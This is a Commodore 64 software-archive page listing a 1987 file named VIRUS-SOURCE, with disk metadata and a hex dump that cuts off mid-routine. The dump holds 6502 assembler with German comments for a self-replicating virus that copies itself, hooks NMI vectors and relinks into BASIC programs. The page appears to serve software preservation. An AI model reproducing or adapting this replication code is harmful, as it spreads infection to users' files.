_  __   _  _         _ _     _      _           _           
  __| |/ /_ | || |     __| (_)___| | __ (_)_ __   __| | _____  __
 / _` | '_ \| || |_   / _` | / __| |/ / | | '_ \ / _` |/ _ \ \/ /
| (_| | (_) |__   _| | (_| | \__ \   <  | | | | | (_| |  __/>  < 
 \__,_|\___/   |_|    \__,_|_|___/_|\_\ |_|_| |_|\__,_|\___/_/\_\
                                                                 
            

VIRUS-SOURCE

FILE INFORMATION

FILENAME(S): VIRUS-SOURCE

FILE TYPE(S): PRG

FILE SIZE: 18.8K

FIRST SEEN: 2025-11-30 01:08:02

APPEARS ON: 2 disk(s)

FILE HASH

16ec7bb5710a750929a1eafe43f2fd1dc3be6aef31934d452a082526af5ecaee

FOUND ON DISKS (2 DISKS)

DISK TITLE FILENAME FILE TYPE COLLECTION TRACK SECTOR ACTIONS
FREESOFT NR VIRUS-SOURCE PRG Treasure Chest - Wolfgang Rauprich 14 10 DOWNLOAD FILE
PD DISK 24 VIRUS-SOURCE PRG Treasure Chest - Wolfgang Rauprich 14 10 DOWNLOAD FILE

FILE CONTENT & ANALYSIS

> DETECTED: COMMODORE BASIC PROGRAM (LOAD ADDRESS $0801)

00000000: 01 08 4E 08 00 00 8F 20  43 4F 50 59 52 49 47 48  |..N.... COPYRIGH|
00000010: 54 20 31 39 38 37 20 42  59 20 42 48 50 2B 50 41  |T 1987 BY BHP+PA|
00000020: 50 41 20 48 41 43 4B 45  52 20 20 20 20 20 20 20  |PA HACKER       |
00000030: 20 56 49 52 55 53 20 43  2D 36 34 20 20 20 4D 55  | VIRUS C-64   MU|
00000040: 4E 49 43 48 20 31 38 2E  32 2E 31 39 38 37 00 61  |NICH 18.2.1987.a|
00000050: 08 01 00 9F 31 2C 38 2C  31 2C 22 56 49 52 55 53  |....1,8,1,"VIRUS|
00000060: 22 00 6D 08 02 00 9E 39  AC 34 30 39 36 00 79 08  |".m....9.4096.y.|
00000070: 03 00 2E 4F 50 54 20 4F  31 00 8E 08 04 00 53 54  |...OPT O1.....ST|
00000080: 41 52 54 20 20 20 20 B2  20 24 44 30 30 30 00 A3  |ART    . $D000..|
00000090: 08 05 00 AC B2 20 20 20  20 20 20 20 20 20 53 54  |.....         ST|
000000A0: 41 52 54 00 B5 08 0A 00  50 41 52 20 20 20 20 20  |ART.....PAR     |
000000B0: B2 20 24 42 37 00 C7 08  0B 00 4D 45 4D 20 20 20  |. $B7.....MEM   |
000000C0: 20 20 B2 20 24 35 38 00  DB 08 0C 00 53 45 54 50  |  . $58.....SETP|
000000D0: 41 52 20 20 B2 20 24 46  46 42 41 00 EF 08 0D 00  |AR  . $FFBA.....|
000000E0: 53 45 54 4E 41 4D 45 20  B2 20 24 46 46 42 44 00  |SETNAME . $FFBD.|
000000F0: 00 09 0E 00 49 45 43 9F  20 B2 20 24 46 33 44 35  |....IEC. . $F3D5|
00000100: 00 12 09 0F 00 53 45 4B  20 20 20 20 20 B2 20 24  |.....SEK     . $|
00000110: 42 39 00 24 09 10 00 44  45 56 20 20 20 20 20 B2  |B9.$...DEV     .|
00000120: 20 24 42 41 00 35 09 11  00 53 45 4B 9B 20 B2 20  | $BA.5...SEK. . |
00000130: 24 46 46 39 33 00 49 09  12 00 53 45 4B 54 41 4C  |$FF93.I...SEKTAL|
00000140: 4B 20 B2 20 24 46 46 39  36 00 5A 09 13 00 9B 20  |K . $FF96.Z.... |
00000150: 20 20 20 B2 20 24 46 46  42 31 00 6E 09 14 00 54  |   . $FFB1.n...T|
00000160: 41 4C 4B 20 20 20 20 B2  20 24 46 46 42 34 00 7F  |ALK    . $FFB4..|
00000170: 09 15 00 55 4E 9B 20 20  B2 20 24 46 46 41 45 00  |...UN.  . $FFAE.|
00000180: 93 09 16 00 55 4E 54 41  4C 4B 20 20 B2 20 24 46  |....UNTALK  . $F|
00000190: 46 41 42 00 A5 09 17 00  49 45 43 A1 20 20 B2 20  |FAB.....IEC.  . |
000001A0: 24 46 46 41 35 00 B9 09  18 00 49 45 43 4F 55 54  |$FFA5.....IECOUT|
000001B0: 20 20 B2 20 24 46 46 41  38 00 CB 09 19 00 53 54  |  . $FFA8.....ST|
000001C0: 41 54 55 53 20 20 B2 20  24 39 30 00 DD 09 1A 00  |ATUS  . $90.....|
000001D0: 43 4F 55 4E 54 20 20 20  B2 20 4D 45 4D 00 ED 09  |COUNT   . MEM...|
000001E0: 1B 00 A0 20 20 20 B2 20  24 46 36 34 32 00 05 0A  |...   . $F642...|
000001F0: 1C 00 42 41 4D 20 20 20  20 20 B2 20 43 4F 55 4E  |..BAM     . COUN|
00000200: 54 20 AA 20 31 00 1D 0A  1D 00 54 52 41 43 4B 20  |T . 1.....TRACK |
00000210: 20 20 B2 20 42 41 4D 20  20 20 AA 20 33 00 35 0A  |  . BAM   . 3.5.|
00000220: 1E 00 56 54 52 41 43 4B  20 20 B2 20 54 52 41 43  |..VTRACK  . TRAC|
00000230: 4B 20 AA 20 31 00 4B 0A  1F 00 B8 45 20 20 20 20  |K . 1.K....E    |
00000240: B2 20 56 54 52 41 43 4B  AA 20 31 00 61 0A 20 00  |. VTRACK. 1.a. .|
00000250: 50 55 46 46 45 52 20 20  B2 20 B8 45 20 20 AA 20  |PUFFER  . .E  . |
00000260: 31 00 79 0A 21 00 4A 4F  42 20 20 20 20 20 B2 20  |1.y.!.JOB     . |
00000270: 50 55 46 46 45 52 AA 20  31 00 91 0A 22 00 44 4F  |PUFFER. 1...".DO|
00000280: 20 20 20 20 20 20 B2 20  4A 4F 42 20 20 20 AA 20  |      . JOB   . |
00000290: 31 00 A3 0A 23 00 58 20  20 20 20 20 20 20 B2 20  |1...#.X       . |
000002A0: 42 41 4D 00 BB 0A 24 00  59 20 20 20 20 20 20 20  |BAM...$.Y       |
000002B0: B2 20 42 41 4D 20 20 20  AA 20 31 00 D3 0A 25 00  |. BAM   . 1...%.|
000002C0: 5A 20 20 20 20 20 20 20  B2 20 42 41 4D 20 20 20  |Z       . BAM   |
000002D0: AA 20 32 00 E4 0A 26 00  42 41 53 49 43 53 20 20  |. 2...&.BASICS  |
000002E0: B2 20 34 33 00 FC 0A 27  00 41 44 52 20 20 20 20  |. 43...'.ADR    |
000002F0: 20 B2 20 44 4F 20 20 20  20 AA 20 31 00 13 0B 28  | . DO    . 1...(|
00000300: 00 53 45 43 A4 52 20 20  B2 20 41 44 52 20 20 20  |.SEC.R  . ADR   |
00000310: AA 20 31 00 2A 0B 29 00  56 53 45 43 20 20 20 20  |. 1.*.).VSEC    |
00000320: B2 20 53 45 43 A4 52 AA  20 31 00 3A 0B 2A 00 42  |. SEC.R. 1.:.*.B|
00000330: 4C 4F 43 4B 53 20 20 B2  20 38 00 4B 0B 2B 00 57  |LOCKS  . 8.K.+.W|
00000340: B0 4B 20 20 20 20 B2 20  24 38 42 00 5D 0B 2C 00  |.K    . $8B.].,.|
00000350: 4D 45 4D 31 20 20 20 20  B2 20 57 B0 4B 00 74 0B  |MEM1    . W.K.t.|
00000360: 2D 00 4D 45 4D 32 20 20  20 20 B2 20 57 B0 4B 20  |-.MEM2    . W.K |
00000370: 20 AA 20 31 00 8B 0B 2E  00 4D 45 4D 33 20 20 20  | . 1.....MEM3   |
00000380: 20 B2 20 57 B0 4B 20 20  AA 20 32 00 A2 0B 2F 00  | . W.K  . 2.../.|
00000390: 4D 45 4D 34 20 20 20 20  B2 20 57 B0 4B 20 20 AA  |MEM4    . W.K  .|
000003A0: 20 33 00 B6 0B 30 00 42  52 45 41 4B 50 20 20 B2  | 3...0.BREAKP  .|
000003B0: 20 24 30 33 31 36 00 C7  0B 31 00 42 41 53 49 43  | $0316...1.BASIC|
000003C0: 45 20 20 B2 20 34 35 00  D6 0B 32 00 93 45 20 20  |E  . 45...2..E  |
000003D0: 20 B2 20 24 41 45 00 E5  0B 33 00 4C 49 4E 4B C3  | . $AE...3.LINK.|
000003E0: 20 B2 20 38 38 00 F6 0B  34 00 93 50 20 20 20 B2  | . 88...4..P   .|
000003F0: 20 24 30 33 33 30 00 07  0C 35 00 94 50 20 20 20  | $0330...5..P   |
00000400: B2 20 24 30 33 33 32 00  1B 0C 36 00 4C 49 4E 4B  |. $0332...6.LINK|
00000410: 20 20 20 20 B2 20 24 30  32 41 37 00 2F 0C 37 00  |    . $02A7./.7.|
00000420: 4E 4D 49 54 41 48 20 20  B2 20 24 44 44 30 35 00  |NMITAH  . $DD05.|
00000430: 43 0C 38 00 4E 4D 49 54  42 48 20 20 B2 20 24 44  |C.8.NMITBH  . $D|
00000440: 44 30 37 00 57 0C 39 00  4E 4D 49 50 20 20 20 20  |D07.W.9.NMIP    |
00000450: B2 20 24 30 33 31 38 00  6B 0C 3A 00 52 4F 4D 54  |. $0318.k.:.ROMT|
00000460: 45 53 54 20 B2 20 24 46  44 30 32 00 7F 0C 3B 00  |EST . $FD02...;.|
00000470: 57 41 52 4D 50 20 20 20  B2 20 24 30 33 30 32 00  |WARMP   . $0302.|
00000480: 93 0C 3C 00 49 52 51 50  20 20 20 20 B2 20 24 30  |..<.IRQP    . $0|
00000490: 33 31 34 00 A7 0C 3D 00  49 52 51 45 20 20 20 20  |314...=.IRQE    |
000004A0: B2 20 24 45 41 33 31 00  BB 0C 3E 00 4E 4D 49 45  |. $EA31...>.NMIE|
000004B0: 20 20 20 20 B2 20 24 45  41 38 36 00 CC 0C 3F 00  |    . $EA86...?.|
000004C0: 90 20 20 20 20 B2 20 24  46 46 45 31 00 E0 0C 40  |.    . $FFE1...@|
000004D0: 00 43 48 41 52 4F 55 54  20 B2 20 24 46 46 44 32  |.CHAROUT . $FFD2|
000004E0: 00 FE 0C E8 03 2E 42 59  54 45 20 30 33 31 2C 30  |......BYTE 031,0|
000004F0: 30 38 2C 31 39 34 2C 30  30 37 2C 31 35 38 00 22  |08,194,007,158."|
00000500: 0D F2 03 56 49 52 55 53  20 2E 42 59 54 45 20 31  |...VIRUS .BYTE 1|
00000510: 39 34 2C 30 34 30 2C 30  35 32 2C 30 35 31 2C 30  |94,040,052,051,0|
00000520: 34 31 00 40 0D FC 03 2E  42 59 54 45 20 31 37 30  |41.@....BYTE 170|
00000530: 2C 31 39 34 2C 30 34 30  2C 30 35 32 2C 30 35 32  |,194,040,052,052|
00000540: 00 5E 0D 06 04 2E 42 59  54 45 20 30 34 31 2C 31  |.^....BYTE 041,1|
00000550: 37 32 2C 30 35 30 2C 30  35 33 2C 30 35 34 00 7C  |72,050,053,054.||
00000560: 0D 10 04 2E 42 59 54 45  20 31 37 30 2C 30 35 32  |....BYTE 170,052|
00000570: 2C 30 35 36 2C 30 35 38  2C 30 38 36 00 9A 0D 1A  |,056,058,086....|
00000580: 04 2E 42 59 54 45 20 30  37 33 2C 30 38 32 2C 30  |..BYTE 073,082,0|
00000590: 38 35 2C 30 38 33 2C 30  30 30 00 AC 0D 24 04 2E  |85,083,000...$..|
000005A0: 42 59 54 45 20 30 30 30  2C 30 30 30 00 C0 0D 29  |BYTE 000,000...)|
000005B0: 04 2E 57 B0 44 20 42 4C  4F 43 4B 53 AC 32 35 34  |..W.D BLOCKS.254|
000005C0: 00 EA 0D 2A 04 2E 42 59  54 45 20 24 41 37 2C 24  |...*..BYTE $A7,$|
000005D0: 41 44 2C 24 41 36 2C 24  35 44 2C 24 41 35 2C 24  |AD,$A6,$5D,$A5,$|
000005E0: 33 32 2C 24 41 36 2C 24  38 44 00 F6 0D 2B 04 AC  |32,$A6,$8D...+..|
000005F0: B2 AC 20 AA 20 36 00 15  0E 2E 04 3B 31 39 38 36  |.. . 6.....;1986|
00000600: 20 9E C2 28 34 33 29 AA  C2 28 34 34 29 AC 32 35  | ..(43)..(44).25|
00000610: 36 AA 34 38 3A 00 20 0E  38 04 3B 56 49 52 55 53  |6.48:. .8.;VIRUS|
00000620: 00 44 0E CF 07 3B AB AB  AB 49 4E 49 54 49 41 4C  |.D...;...INITIAL|
00000630: 49 53 49 45 52 45 AB 56  49 52 55 53 AB AB AB B1  |ISIERE.VIRUS....|
00000640: 49 4E 49 54 00 50 0E D0  07 4C 44 59 20 23 33 34  |INIT.P...LDY #34|
00000650: 00 69 0E DA 07 49 4E 49  54 33 20 4C 44 41 20 28  |.i...INIT3 LDA (|
00000660: 42 41 53 49 43 53 29 2C  59 00 71 0E E4 07 50 48  |BASICS),Y.q...PH|
00000670: 41 00 79 0E EE 07 49 4E  59 00 85 0E F8 07 43 50  |A.y...INY.....CP|
00000680: 59 20 23 34 32 00 93 0E  02 08 42 4E 45 20 49 4E  |Y #42.....BNE IN|
00000690: 49 54 33 00 AD 0E 70 08  50 48 50 20 20 20 20 20  |IT3...p.PHP     |
000006A0: 20 20 20 20 20 3B 53 54  41 54 55 53 2C 00 D1 0E  |     ;STATUS,...|
000006B0: 7A 08 53 45 49 20 20 20  20 20 20 20 20 20 20 3B  |z.SEI          ;|
000006C0: B5 45 52 52 55 50 54 20  53 50 45 52 52 45 4E 20  |.ERRUPT SPERREN |
000006D0: 21 00 E9 0E 84 08 50 48  41 20 20 20 20 20 20 20  |!.....PHA       |
000006E0: 20 20 20 3B 41 4B 4B 55  2C 00 0E 0F 8E 08 4C 44  |   ;AKKU,.....LD|
000006F0: 41 20 31 20 20 20 20 20  20 20 20 3B 55 4E 44 20  |A 1        ;UND |
00000700: 53 50 45 49 43 48 45 52  4B 91 46 49 47 2E 00 27  |SPEICHERK.FIG..'|
00000710: 0F 98 08 50 48 41 20 20  20 20 20 20 20 20 20 20  |...PHA          |
00000720: 3B 52 45 54 54 45 4E 00  37 0F A2 08 4C 44 41 20  |;RETTEN.7...LDA |
00000730: 23 B1 80 49 54 AB 31 00  5C 0F AC 08 50 48 41 20  |#..IT.1.\...PHA |
00000740: 20 20 20 20 20 20 20 20  20 3B 52 55 45 43 4B 4B  |         ;RUECKK|
00000750: 45 48 52 50 55 4E 4B 54  20 56 4F 4D 00 76 0F B6  |EHRPUNKT VOM.v..|
00000760: 08 4C 44 41 20 23 B3 80  49 54 AB 31 3B 56 49 52  |.LDA #..IT.1;VIR|
00000770: 55 53 9E 54 45 4D 00 7E  0F C0 08 50 48 41 00 89  |US.TEM.~...PHA..|
00000780: 0F CA 08 4C 44 41 20 23  30 00 AE 0F D4 08 53 54  |...LDA #0.....ST|
00000790: 41 20 31 20 20 20 20 20  20 20 20 3B 41 55 46 20  |A 1        ;AUF |
000007A0: 52 41 4D 20 55 4D 53 43  48 41 4C 54 45 4E 00 BB  |RAM UMSCHALTEN..|
000007B0: 0F DE 08 4C 44 59 20 23  24 30 33 00 CF 0F E8 08  |...LDY #$03.....|
000007C0: 49 4E 49 54 31 20 4C 44  41 20 57 B0 4B 2C 59 00  |INIT1 LDA W.K,Y.|
000007D0: D7 0F F2 08 50 48 41 00  DF 0F FC 08 44 45 59 00  |....PHA.....DEY.|
000007E0: ED 0F 06 09 42 50 4C 20  49 4E 49 54 31 00 11 10  |....BPL INIT1...|
000007F0: 10 09 4C 44 41 20 42 41  53 49 43 53 20 20 20 3B  |..LDA BASICS   ;|
00000800: 4B 4F 50 49 45 52 45 20  44 45 4E 20 56 49 52 55  |KOPIERE DEN VIRU|
00000810: 53 00 35 10 1A 09 53 54  41 20 4D 45 4D 31 20 20  |S.5...STA MEM1  |
00000820: 20 20 20 3B 55 4E 54 45  52 20 49 AD 4F 20 42 45  |   ;UNTER I.O BE|
00000830: 52 45 49 43 48 00 46 10  24 09 4C 44 41 20 42 41  |REICH.F.$.LDA BA|
00000840: 53 49 43 53 AA 31 00 53  10 2E 09 53 54 41 20 4D  |SICS.1.S...STA M|
00000850: 45 4D 32 00 63 10 38 09  4C 44 41 20 23 B3 53 54  |EM2.c.8.LDA #.ST|
00000860: 41 52 54 00 70 10 42 09  53 54 41 20 4D 45 4D 33  |ART.p.B.STA MEM3|
00000870: 00 80 10 4C 09 4C 44 41  20 23 B1 53 54 41 52 54  |...L.LDA #.START|
00000880: 00 8D 10 56 09 53 54 41  20 4D 45 4D 34 00 9D 10  |...V.STA MEM4...|
00000890: 60 09 4C 44 58 20 23 42  4C 4F 43 4B 53 00 A8 10  |`.LDX #BLOCKS...|
000008A0: 6A 09 4C 44 59 20 23 30  00 BF 10 74 09 49 4E 49  |j.LDY #0...t.INI|
000008B0: 54 32 20 4C 44 41 20 28  4D 45 4D 31 29 2C 59 00  |T2 LDA (MEM1),Y.|
000008C0: D0 10 7E 09 53 54 41 20  28 4D 45 4D 33 29 2C 59  |..~.STA (MEM3),Y|
000008D0: 00 D8 10 88 09 49 4E 59  00 E6 10 92 09 42 4E 45  |.....INY.....BNE|
000008E0: 20 49 4E 49 54 32 00 F3  10 9C 09 49 4E 43 20 4D  | INIT2.....INC M|
000008F0: 45 4D 32 00 00 11 A6 09  49 4E 43 20 4D 45 4D 34  |EM2.....INC MEM4|
00000900: 00 08 11 B0 09 44 45 58  00 16 11 BA 09 42 4E 45  |.....DEX.....BNE|
00000910: 20 49 4E 49 54 32 00 20  11 C4 09 4A 4D 50 20 A2  | INIT2. ...JMP .|
00000920: 00 44 11 B8 0B 3B AB AB  AB AB 56 45 52 53 43 48  |.D...;....VERSCH|
00000930: 49 45 42 45 20 50 52 4F  47 52 41 4D 4D AB AB B1  |IEBE PROGRAMM...|
00000940: 4D 4F 56 45 00 67 11 C2  0B 4D 4F 56 45 20 53 45  |MOVE.g...MOVE SE|
00000950: 43 20 20 20 20 20 3B 53  45 54 5A 45 20 50 52 4F  |C     ;SETZE PRO|
00000960: 47 52 41 4D 4D 80 45 00  7C 11 CC 0B 4C 44 41 20  |GRAMM.E.|...LDA |
00000970: 93 45 20 20 20 20 3B 50  4F B5 45 52 00 88 11 D1  |.E    ;PO.ER....|
00000980: 0B 4C 44 59 20 23 33 32  00 9B 11 D6 0B 53 42 43  |.LDY #32.....SBC|
00000990: 20 28 42 41 53 49 43 53  29 2C 59 00 AA 11 E0 0B  | (BASICS),Y.....|
000009A0: 53 54 41 20 42 41 53 49  43 45 00 B5 11 EA 0B 53  |STA BASICE.....S|
000009B0: 54 41 20 93 45 00 C3 11  F4 0B 4C 44 41 20 93 45  |TA .E.....LDA .E|
000009C0: 20 AA 31 00 CB 11 F9 0B  49 4E 59 00 DE 11 FE 0B  | .1.....INY.....|
000009D0: 53 42 43 20 28 42 41 53  49 43 53 29 2C 59 00 EF  |SBC (BASICS),Y..|
000009E0: 11 08 0C 53 54 41 20 42  41 53 49 43 45 AA 31 00  |...STA BASICE.1.|
000009F0: FD 11 12 0C 53 54 41 20  93 45 20 AA 31 00 08 12  |....STA .E .1...|
00000A00: 1C 0C 4C 44 41 20 23 30  00 2B 12 26 0C 53 54 41  |..LDA #0.+.&.STA|
00000A10: 20 4D 45 4D 31 20 20 20  20 20 3B 56 45 52 53 43  | MEM1     ;VERSC|
00000A20: 48 49 45 42 45 20 50 4F  B5 45 52 00 47 12 30 0C  |HIEBE PO.ER.G.0.|
00000A30: 4C 44 41 20 42 41 53 49  43 53 AA 31 20 3B 42 45  |LDA BASICS.1 ;BE|
00000A40: 52 45 43 48 4E 45 4E 00  54 12 3A 0C 53 54 41 20  |RECHNEN.T.:.STA |
00000A50: 4D 45 4D 32 00 5C 12 44  0C 43 4C 43 00 64 12 49  |MEM2.\.D.CLC.d.I|
00000A60: 0C 44 45 59 00 77 12 4E  0C 4C 44 41 20 28 42 41  |.DEY.w.N.LDA (BA|
00000A70: 53 49 43 53 29 2C 59 00  86 12 58 0C 41 44 43 20  |SICS),Y...X.ADC |
00000A80: 42 41 53 49 43 53 00 93  12 62 0C 53 54 41 20 4D  |BASICS...b.STA M|
00000A90: 45 4D 33 00 9B 12 67 0C  49 4E 59 00 AE 12 6C 0C  |EM3...g.INY...l.|
00000AA0: 4C 44 41 20 28 42 41 53  49 43 53 29 2C 59 00 BF  |LDA (BASICS),Y..|
00000AB0: 12 76 0C 41 44 43 20 42  41 53 49 43 53 AA 31 00  |.v.ADC BASICS.1.|
00000AC0: CC 12 80 0C 53 54 41 20  4D 45 4D 34 00 D4 12 8A  |....STA MEM4....|
00000AD0: 0C 53 45 43 00 E1 12 94  0C 4C 44 41 20 4D 45 4D  |.SEC.....LDA MEM|
00000AE0: 33 00 F0 12 9E 0C 53 42  43 20 42 41 53 49 43 53  |3.....SBC BASICS|
00000AF0: 00 FD 12 A8 0C 53 54 41  20 4D 45 4D 33 00 0A 13  |.....STA MEM3...|
00000B00: B2 0C 4C 44 41 20 4D 45  4D 34 00 15 13 BC 0C 53  |..LDA MEM4.....S|
00000B10: 42 43 20 23 30 00 22 13  C6 0C 53 54 41 20 4D 45  |BC #0."...STA ME|
00000B20: 4D 34 00 31 13 D0 0C 4C  44 59 20 42 41 53 49 43  |M4.1...LDY BASIC|
00000B30: 53 00 46 13 DA 0C 4D 4F  56 45 31 20 43 50 59 20  |S.F...MOVE1 CPY |
00000B40: 42 41 53 49 43 45 00 54  13 E4 0C 42 4E 45 20 4D  |BASICE.T...BNE M|
00000B50: 4F 56 45 32 00 61 13 EE  0C 4C 44 41 20 4D 45 4D  |OVE2.a...LDA MEM|
00000B60: 32 00 72 13 F8 0C 43 4D  50 20 42 41 53 49 43 45  |2.r...CMP BASICE|
00000B70: AA 31 00 80 13 02 0D 42  45 51 20 4D 4F 56 45 33  |.1.....BEQ MOVE3|
00000B80: 00 97 13 0C 0D 4D 4F 56  45 32 20 4C 44 41 20 28  |.....MOVE2 LDA (|
00000B90: 4D 45 4D 33 29 2C 59 00  A8 13 16 0D 53 54 41 20  |MEM3),Y.....STA |
00000BA0: 28 4D 45 4D 31 29 2C 59  00 B0 13 20 0D 49 4E 59  |(MEM1),Y... .INY|
00000BB0: 00 D6 13 2A 0D 42 4E 45  20 4D 4F 56 45 31 20 20  |...*.BNE MOVE1  |
00000BC0: 20 20 3B 50 52 4F 47 52  41 4D 4D 20 41 4E 20 B0  |  ;PROGRAMM AN .|
00000BD0: 47 49 4E 41 4C AB 00 FC  13 34 0D 49 4E 43 20 4D  |GINAL....4.INC M|
00000BE0: 45 4D 32 20 20 20 20 20  3B 41 44 52 45 53 53 45  |EM2     ;ADRESSE|
00000BF0: 20 56 45 52 53 43 48 49  45 42 45 4E 00 09 14 3E  | VERSCHIEBEN...>|
00000C00: 0D 49 4E 43 20 4D 45 4D  34 00 17 14 48 0D 42 4E  |.INC MEM4...H.BN|
00000C10: 45 20 4D 4F 56 45 31 00  2A 14 52 0D 4D 4F 56 45  |E MOVE1.*.R.MOVE|
00000C20: 33 20 4C 44 41 20 93 45  AA 31 00 4E 14 5C 0D 43  |3 LDA .E.1.N.\.C|
00000C30: 4D 50 20 23 24 38 30 20  20 20 20 20 3B 55 45 42  |MP #$80     ;UEB|
00000C40: 45 52 50 52 55 45 46 45  20 4C 41 44 45 AB 00 69  |ERPRUEFE LADE..i|
00000C50: 14 66 0D 42 43 53 20 4D  4F 56 45 34 20 20 20 20  |.f.BCS MOVE4    |
00000C60: 3B 80 41 44 52 45 53 53  45 00 74 14 70 0D 4C 44  |;.ADRESSE.t.p.LD|
00000C70: 58 20 23 39 00 89 14 7A  0D 52 4F 4D 20 4C 44 41  |X #9...z.ROM LDA|
00000C80: 20 52 45 53 45 54 56 2C  58 00 99 14 84 0D 53 54  | RESETV,X.....ST|
00000C90: 41 20 24 38 30 30 30 2C  58 00 A1 14 8E 0D 44 45  |A $8000,X.....DE|
00000CA0: 58 00 AD 14 98 0D 42 50  4C 20 52 4F 4D 00 BB 14  |X.....BPL ROM...|
00000CB0: A2 0D 4D 4F 56 45 34 20  52 54 53 00 DC 14 A0 0F  |..MOVE4 RTS.....|
00000CC0: 3B AB AB AB AB 4E 45 55  53 54 41 52 54 20 56 49  |;....NEUSTART VI|
00000CD0: 52 55 53 AB AB AB AB AB  AB AB B1 A2 00 EC 14 AA  |RUS.............|
00000CE0: 0F A2 20 4C 44 41 20 24  46 46 46 41 00 0E 15 B4  |.. LDA $FFFA....|
00000CF0: 0F 50 48 41 20 20 20 20  20 20 20 20 20 3B 4E 4D  |.PHA         ;NM|
00000D00: 49 AB 56 45 4B A4 52 20  52 45 54 54 45 4E 00 20  |I.VEK.R RETTEN. |
00000D10: 15 BE 0F 4C 44 41 20 24  46 46 46 42 20 20 20 3B  |...LDA $FFFB   ;|
00000D20: 00 32 15 C8 0F 50 48 41  20 20 20 20 20 20 20 20  |.2...PHA        |
00000D30: 20 3B 00 51 15 D2 0F 4C  44 41 20 23 B3 8E 3B 55  | ;.Q...LDA #..;U|
00000D40: 4E 44 20 41 55 46 20 52  54 49 20 53 45 54 5A 45  |ND AUF RTI SETZE|
00000D50: 4E 00 63 15 DC 0F 53 54  41 20 24 46 46 46 41 20  |N.c...STA $FFFA |
00000D60: 20 20 3B 00 6F 15 E6 0F  4C 44 41 20 23 B1 8E 00  |  ;.o...LDA #...|
00000D70: 7D 15 F0 0F 53 54 41 20  24 46 46 46 42 00 A3 15  |}...STA $FFFB...|
00000D80: FA 0F 4A 53 52 20 4D 4F  56 45 20 20 20 20 3B 50  |..JSR MOVE    ;P|
00000D90: 52 4F 47 52 41 4D 4D 20  56 45 52 53 43 48 49 45  |ROGRAMM VERSCHIE|
00000DA0: 42 45 4E 00 AE 15 FB 0F  4C 44 41 20 23 30 00 B6  |BEN.....LDA #0..|
00000DB0: 15 FC 0F 54 41 59 00 BE  15 FD 0F 43 4C 43 00 D1  |...TAY.....CLC..|
00000DC0: 15 FE 0F 4E 31 20 41 44  43 20 56 49 52 55 53 2C  |...N1 ADC VIRUS,|
00000DD0: 59 00 D9 15 FF 0F 52 4F  4C 00 E4 15 00 10 41 44  |Y.....ROL.....AD|
00000DE0: 43 20 23 30 00 EC 15 01  10 49 4E 59 00 F8 15 02  |C #0.....INY....|
00000DF0: 10 43 50 59 20 23 32 37  00 03 16 03 10 42 4E 45  |.CPY #27.....BNE|
00000E00: 20 4E 31 00 10 16 04 10  43 4D 50 20 23 31 38 36  | N1.....CMP #186|
00000E10: 00 1B 16 05 10 42 45 51  20 4E 32 00 26 16 07 10  |.....BEQ N2.&...|
00000E20: 4E 33 20 49 4E 59 00 39  16 08 10 53 54 41 20 28  |N3 INY.9...STA (|
00000E30: 42 41 53 49 43 53 29 2C  59 00 44 16 09 10 42 4E  |BASICS),Y.D...BN|
00000E40: 45 20 4E 33 00 6B 16 0D  10 4E 32 20 4A 53 52 20  |E N3.k...N2 JSR |
00000E50: 49 4E 53 54 41 4C 4C 20  3B 56 49 52 55 53 20 49  |INSTALL ;VIRUS I|
00000E60: 4E 53 54 41 4C 4C 49 45  52 45 4E 00 8A 16 0E 10  |NSTALLIEREN.....|
00000E70: 4A 4D 50 20 9E 9A 20 3B  52 55 45 43 4B 4B 45 48  |JMP .. ;RUECKKEH|
00000E80: 52 20 49 4E 53 20 9E 54  45 4D 00 AB 16 68 10 3B  |R INS .TEM...h.;|
00000E90: AB AB AB AB AB 49 4E 53  54 41 4C 4C AB AB AB AB  |.....INSTALL....|
00000EA0: AB AB AB AB AB AB AB AB  AB B1 49 00 C0 16 72 10  |..........I...r.|
00000EB0: 49 4E 53 54 41 4C 4C 20  4C 44 41 20 4E 41 4D 45  |INSTALL LDA NAME|
00000EC0: 00 CD 16 7C 10 43 4D 50  20 23 22 2A 22 00 D8 16  |...|.CMP #"*"...|
00000ED0: 86 10 42 45 51 20 49 30  00 E3 16 87 10 42 4E 45  |..BEQ I0.....BNE|
00000EE0: 20 49 31 00 F8 16 8C 10  52 45 49 4E 53 54 20 4A  | I1.....REINST J|
00000EF0: 53 52 20 50 4F B5 45 52  00 18 17 90 10 49 30 20  |SR PO.ER.....I0 |
00000F00: 4A 53 52 20 8C 3B 5A 45  49 47 45 52 20 52 55 45  |JSR .;ZEIGER RUE|
00000F10: 43 4B 53 45 54 5A 45 4E  00 3E 17 9A 10 49 31 20  |CKSETZEN.>...I1 |
00000F20: 4A 53 52 20 52 45 4C 49  4E 4B 20 3B 4C 49 4E 4B  |JSR RELINK ;LINK|
00000F30: AB 54 45 49 4C 20 4B 4F  50 49 45 52 45 4E 00 5C  |.TEIL KOPIEREN.\|
00000F40: 17 A4 10 4A 53 52 20 50  4F B5 45 52 20 20 20 3B  |...JSR PO.ER   ;|
00000F50: 50 4F B5 45 52 20 53 45  54 5A 45 4E 00 83 17 AE  |PO.ER SETZEN....|
00000F60: 10 4A 53 52 20 4D 41 4B  45 20 20 20 20 20 20 3B  |.JSR MAKE      ;|
00000F70: AB B1 45 58 54 45 52 4E  20 41 55 53 46 55 45 48  |..EXTERN AUSFUEH|
00000F80: 52 45 4E 00 A7 17 B8 10  4A 53 52 20 52 4F 4D 54  |REN.....JSR ROMT|
00000F90: 45 53 54 20 20 20 3B 54  45 53 54 20 41 55 46 20  |EST   ;TEST AUF |
00000FA0: 43 42 4D 38 30 20 AE 00  B2 17 C2 10 42 4E 45 20  |CBM80 ......BNE |
00000FB0: 49 32 00 BD 17 CC 10 4C  44 58 20 23 33 00 DF 17  |I2.....LDX #3...|
00000FC0: D6 10 4A 53 52 20 52 4F  4D 20 20 20 20 20 20 20  |..JSR ROM       |
00000FD0: 3B 56 45 4B A4 52 45 4E  20 53 45 54 5A 45 4E 00  |;VEK.REN SETZEN.|
00000FE0: EA 17 E0 10 49 32 20 52  54 53 00 0B 18 30 11 3B  |....I2 RTS...0.;|
00000FF0: AB AB AB AB AB 4C 49 4E  4B AB 54 45 49 4C AB 4B  |.....LINK.TEIL.K|
00001000: 4F 50 49 45 52 45 4E AB  AB B1 52 00 21 18 3A 11  |OPIEREN...R.!.:.|
00001010: 52 45 4C 49 4E 4B 20 4C  44 58 20 23 4C 49 4E 4B  |RELINK LDX #LINK|
00001020: C3 00 35 18 44 11 52 31  20 4C 44 41 20 45 58 54  |..5.D.R1 LDA EXT|
